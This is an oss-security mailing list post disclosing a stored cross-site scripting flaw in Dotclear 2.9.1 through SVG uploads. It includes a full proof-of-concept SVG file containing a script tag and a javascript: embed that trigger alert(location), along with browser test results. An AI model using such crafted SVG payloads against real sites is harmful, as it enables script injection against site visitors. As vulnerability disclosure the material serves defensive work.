oss-security - Dotclear 2.9.1 XSS vulnerability by SVG

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Wed, 4 May 2016 06:46:11 +0000
From: limingxing <limingxing@....cn>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: Dotclear 2.9.1 XSS vulnerability by SVG


Hello,
We find an vulnerability about Dotclear 2.9.1 XSS vulnerability by SVG

inc/core/class.dc.core.php
array('media_exclusion','string','/\.(phps?|pht(ml)?|phl)[0-9]*$/i',

Attackers can upload a special SVG picture, for example, add the origin SVG picture with
<script>alert(location)</script>
<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">
 <embed xmlns="http://www.w3.org/1999/xhtml"
src="javascript:alert(location)" />
 </foreignObject>
After upload the special SVG, attackers can publish an article with this picture with the herf link to this picture. If someone click the picture, it will jump to the url of the picture, and this will cause XSS.
Test on Firefox 45.0.2 （20160407164938）with two alerts.
Test on Chrome 50.0.2661.94m and IE 10.0.10240.16766 with only one alert (<script>alert (location)</script>)
 
 
The picture used for test is
 
<?xml version="1.0" encoding="iso-8859-1"?>
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
         viewBox="0 0 22 20" style="enable-background:new 0 0 22 20;" xml:space="preserve">
<g>
         <path style="fill-rule:evenodd;clip-rule:evenodd;" d="M0,10.014c0,1.985,1.486,3.632,3.438,3.95l0.688,0.055h3.832v-1.993H4.173
                  L3.717,11.99C2.399,11.78,2,10.982,1.943,9.939C1.888,8.942,2.831,8.053,4.475,7.486c0,0-1.214-1.617,0-2.633
                  c1.214-1.016,2.967,0.884,2.967,0.884s2.197-4.176,5.463-3.87c4.929,0.463,4.541,5.917,4.541,5.917s2.566,0.439,2.566,2.155
                  c0,1.915-2.185,2.087-2.185,2.087h-3.758v1.993h3.806l0.688-0.055C20.514,13.646,22,11.999,22,10.014
                  c0-1.744-1.148-3.229-2.751-3.778C19.191,2.782,16.289,0,12.719,0c-2.575,0-4.802,1.447-5.866,3.55
                  C6.35,3.01,5.622,2.67,4.812,2.67c-1.519,0-2.75,1.196-2.75,2.67c0,0.385,0.084,0.751,0.234,1.081C0.936,7.076,0,8.439,0,10.014z"
                  />
         <polygon style="fill-rule:evenodd;clip-rule:evenodd;" points="12,20 12,8.581 16,11 16,9 11,6 6,9 6,11 10,8.581 10,20        "/>
</g>
<script>alert(location)</script>
<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">
 
<embed xmlns="http://www.w3.org/1999/xhtml"
src="javascript:alert(location)" />
 
</foreignObject>
 
</svg>

This vulnerability was found by chenruiqi of Qihoo 360 Codesafe Team

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.